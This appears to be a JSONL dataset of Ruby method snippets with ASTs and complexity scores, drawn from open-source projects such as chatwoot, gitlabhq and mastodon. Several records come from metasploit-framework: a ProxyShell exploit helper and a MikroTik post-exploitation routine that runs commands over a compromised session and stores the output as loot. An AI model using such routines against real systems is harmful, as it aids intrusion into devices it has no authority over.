{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/openai_base_service.rb","start_line":41,"raw_source":"def value_from_cache\n    return nil unless event_is_cacheable?\n    return nil if cache_key.blank?\n\n    deserialize_cached_value(Redis::Alfred.get(cache_key))\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"value_from_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_is_cacheable?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_key\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"deserialize_cached_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redis\"]},\"Alfred\"]},\"get\",{\"type\":\"send\",\"children\":[null,\"cache_key\"]}]}]}]}]}","id":"a26ff889-830f-4a54-9b6c-fe97ecac72dc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/set_status_service.rb","start_line":9,"raw_source":"def initialize(current_user, params)\n      @current_user = current_user\n      @params = params.dup\n      @target_user = params.delete(:user) || current_user\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"dup\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@target_user\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"user\"]}]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}]}","id":"7eb1ef55-a725-4193-9db7-f2ac05081471"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/presenters/spree/variants/option_types_presenter.rb","start_line":73,"raw_source":"def option_values_options(option_values)\n        option_values.map do |option_value|\n          {\n            id: option_value.id,\n            position: option_value.position,\n            presentation: option_value.presentation,\n            name: option_value.name,\n            variant_id: option_value.variants.where(id: @variant_ids).order(:position).first.id,\n            is_default: option_value == default_variant_data[:option_value]\n          }\n        end\n      end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"option_values_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option_values\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_values\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option_value\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_value\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_value\"]},\"position\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"presentation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_value\"]},\"presentation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_value\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variant_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_value\"]},\"variants\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"ivar\",\"children\":[\"@variant_ids\"]}]}]}]},\"order\",{\"type\":\"sym\",\"children\":[\"position\"]}]},\"first\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_value\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_variant_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"option_value\"]}]}]}]}]}]}]}","id":"e0f508b2-1692-4850-b661-57ba42784c07"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/metrics/shared.rb","start_line":65,"raw_source":"def each\n        buckets.each { |counter| yield counter.value }\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"buckets\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"counter\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counter\"]},\"value\"]}]}]}]}","id":"ee6379d9-df06-4c1f-9910-13ace2c9b9d3"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/token_exchange_service.rb","start_line":2,"raw_source":"def initialize(code)\n    @code = code\n    @api_client = Whatsapp::FacebookApiClient.new\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@code\",{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@api_client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Whatsapp\"]},\"FacebookApiClient\"]},\"new\"]}]}]}]}","id":"1140003e-738f-4973-878e-f2432eb6dead"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/config/initializers/01_inject_enterprise_edition_module.rb","start_line":24,"raw_source":"def prepend_mod_with(constant_name, namespace: Object, with_descendants: false)\n    each_extension_for(constant_name, namespace) do |constant|\n      prepend_module(constant, with_descendants)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"prepend_mod_with\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"constant_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"namespace\",{\"type\":\"const\",\"children\":[null,\"Object\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"with_descendants\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_extension_for\",{\"type\":\"lvar\",\"children\":[\"constant_name\"]},{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"constant\"]}]},{\"type\":\"send\",\"children\":[null,\"prepend_module\",{\"type\":\"lvar\",\"children\":[\"constant\"]},{\"type\":\"lvar\",\"children\":[\"with_descendants\"]}]}]}]}","id":"cf7df98d-d54f-4163-b203-63227c3a469d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/exchange_proxyshell_rce.rb","start_line":145,"raw_source":"def random_mapi_id\n    id = \"{#{Rex::Text.rand_text_hex(8)}\"\n    id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n    id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n    id = \"#{id}-#{Rex::Text.rand_text_hex(4)}\"\n    id = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\"\n    id.upcase\n  end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"random_mapi_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_hex\",{\"type\":\"int\",\"children\":[8]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_hex\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_hex\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_hex\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_hex\",{\"type\":\"int\",\"children\":[12]}]}]},{\"type\":\"str\",\"children\":[\"}\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"upcase\"]}]}]}","id":"ce6ae690-7848-40aa-80f5-ef929e012c98"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/process_hashtags_service.rb","start_line":21,"raw_source":"def update_featured_tags!\n    return unless @status.distributable?\n\n    added_tags = @current_tags - @previous_tags\n\n    unless added_tags.empty?\n      @account.featured_tags.where(tag_id: added_tags.map(&:id)).find_each do |featured_tag|\n        featured_tag.increment(@status.created_at)\n      end\n    end\n\n    removed_tags = @previous_tags - @current_tags\n\n    unless removed_tags.empty?\n      @account.featured_tags.where(tag_id: removed_tags.map(&:id)).find_each do |featured_tag|\n        featured_tag.decrement(@status)\n      end\n    end\n  end","complexity_score":30.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_featured_tags!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"distributable?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"added_tags\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_tags\"]},\"-\",{\"type\":\"ivar\",\"children\":[\"@previous_tags\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"added_tags\"]},\"empty?\"]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"featured_tags\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"added_tags\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"featured_tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"featured_tag\"]},\"increment\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"created_at\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"removed_tags\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@previous_tags\"]},\"-\",{\"type\":\"ivar\",\"children\":[\"@current_tags\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed_tags\"]},\"empty?\"]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"featured_tags\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed_tags\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"featured_tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"featured_tag\"]},\"decrement\",{\"type\":\"ivar\",\"children\":[\"@status\"]}]}]}]}]}]}","id":"8879629a-38b5-46e2-87f3-28f7a864775c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/repository.rb","start_line":937,"raw_source":"def commit_files(user, **options)\n    start_project = options.delete(:start_project)\n    if start_project\n      options[:start_repository] = start_project.repository.raw_repository\n    end\n\n    if Feature.enabled?(:commit_files_target_sha, project)\n      options[:target_sha] = self.commit(options[:branch_name])&.sha || blank_ref\n    else\n      skip_target_sha = options.delete(:skip_target_sha)\n      unless skip_target_sha\n        options[:target_sha] = self.commit(options[:branch_name])&.sha\n      end\n    end\n\n    with_cache_hooks { raw.commit_files(user, **options.merge(sign: sign_commits?)) }\n  end","complexity_score":34.3,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"start_project\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"start_repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_project\"]},\"repository\"]},\"raw_repository\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"commit_files_target_sha\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"target_sha\"]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"commit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"branch_name\"]}]}]},\"sha\"]},{\"type\":\"send\",\"children\":[null,\"blank_ref\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"skip_target_sha\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"skip_target_sha\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_target_sha\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"target_sha\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"commit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"branch_name\"]}]}]},\"sha\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_cache_hooks\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\"]},\"commit_files\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sign\"]},{\"type\":\"send\",\"children\":[null,\"sign_commits?\"]}]}]}]}]}]}]}]}]}]}","id":"e7efd0cf-d825-4775-95e1-94cf52d76b6e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/networking/gather/enum_mikrotik.rb","start_line":31,"raw_source":"def run\n    # Get device prompt\n    prompt = session.shell_command(\"/\\n\")\n\n    # https://wiki.mikrotik.com/wiki/Manual:Console#Safe_Mode\n    if prompt.include?('<SAFE>') # safe mode from ctr+x\n      vprint_status('In safe mode')\n    end\n\n    # Get version info\n    print_status('Getting version information')\n    version_out = session.shell_command(\"/system package print without-paging\\n\")\n\n    ver_loc = store_loot('mikrotik.version',\n                         'text/plain',\n                         session,\n                         version_out.strip,\n                         'version.txt',\n                         'Mikrotik Version')\n\n    # Print the version of VERBOSE set to true.\n    vprint_good(version_out)\n    vprint_good(\"Version information stored in to loot #{ver_loc}\")\n\n    # run additional information gathering\n    enum_configs\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prompt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"shell_command\",{\"type\":\"str\",\"children\":[\"/\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt\"]},\"include?\",{\"type\":\"str\",\"children\":[\"<SAFE>\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"In safe mode\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Getting version information\"]}]},{\"type\":\"lvasgn\",\"children\":[\"version_out\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"shell_command\",{\"type\":\"str\",\"children\":[\"/system package print without-paging\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ver_loc\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"mikrotik.version\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version_out\"]},\"strip\"]},{\"type\":\"str\",\"children\":[\"version.txt\"]},{\"type\":\"str\",\"children\":[\"Mikrotik Version\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"lvar\",\"children\":[\"version_out\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Version information stored in to loot \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver_loc\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"enum_configs\"]}]}]}","id":"a4415d65-ecf0-4e2b-ac59-82f35687e763"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/smb/ui/console/command_dispatcher/shares.rb","start_line":281,"raw_source":"def cmd_cd_help\n            print_line 'Usage: cd <path>'\n            print_line\n            print_line 'Change the current remote working directory.'\n            print_line\n          end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_cd_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: cd <path>\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Change the current remote working directory.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}","id":"aaa4155f-8cf7-4714-9d76-21aab9c65f35"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/services/discourse_ai/persona_importer.rb","start_line":65,"raw_source":"def check_conflicts!\n      conflicts = {}\n\n      persona_name = @data[\"persona\"][\"name\"]\n      conflicts[:persona] = persona_name if AiPersona.exists?(name: persona_name)\n\n      if @data[\"custom_tools\"].present?\n        existing_tools = []\n        @data[\"custom_tools\"].each do |tool_data|\n          tool_name = tool_data[\"tool_name\"] || tool_data[\"identifier\"]\n          existing_tools << tool_name if AiTool.exists?(tool_name: tool_name)\n        end\n        conflicts[:custom_tools] = existing_tools if existing_tools.any?\n      end\n\n      if conflicts.any?\n        message = build_conflict_message(conflicts)\n        raise ImportError.new(message, conflicts)\n      end\n    end","complexity_score":36.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check_conflicts!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conflicts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"persona_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"persona\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiPersona\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"persona_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conflicts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"persona\"]},{\"type\":\"lvar\",\"children\":[\"persona_name\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"custom_tools\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"existing_tools\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"custom_tools\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tool_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tool_name\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tool_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"identifier\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiTool\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tool_name\"]},{\"type\":\"lvar\",\"children\":[\"tool_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_tools\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"tool_name\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_tools\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conflicts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"custom_tools\"]},{\"type\":\"lvar\",\"children\":[\"existing_tools\"]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conflicts\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"build_conflict_message\",{\"type\":\"lvar\",\"children\":[\"conflicts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ImportError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"conflicts\"]}]}]}]},null]}]}]}","id":"db30e904-902b-4607-a25f-4b33cb85de4f"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_output.rb","start_line":1048,"raw_source":"def invoke_slow_flush_log_threshold_test(i)\n      i.configure(config_element('ROOT', '', {'slow_flush_log_threshold' => 0.5},\n                                 [config_element('buffer', '', {\"flush_mode\" => \"immediate\", \"flush_thread_interval\" => 30})]))\n      i.start\n      i.after_start\n\n      t = event_time()\n      i.emit_events('tag', Fluent::ArrayEventStream.new([ [t, {\"key\" => \"value1\"}], [t, {\"key\" => \"value2\"}] ]))\n      i.force_flush\n\n      waiting(4) { Thread.pass until i.test_finished? }\n\n      yield\n    ensure\n      i.stop; i.before_shutdown; i.shutdown; i.after_shutdown; i.close; i.terminate\n    end","complexity_score":26.63,"ast_json":"{\"type\":\"def\",\"children\":[\"invoke_slow_flush_log_threshold_test\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"configure\",{\"type\":\"send\",\"children\":[null,\"config_element\",{\"type\":\"str\",\"children\":[\"ROOT\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"slow_flush_log_threshold\"]},{\"type\":\"float\",\"children\":[0.5]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config_element\",{\"type\":\"str\",\"children\":[\"buffer\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"flush_mode\"]},{\"type\":\"str\",\"children\":[\"immediate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"flush_thread_interval\"]},{\"type\":\"int\",\"children\":[30]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"after_start\"]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[null,\"event_time\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"emit_events\",{\"type\":\"str\",\"children\":[\"tag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ArrayEventStream\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"value1\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"ha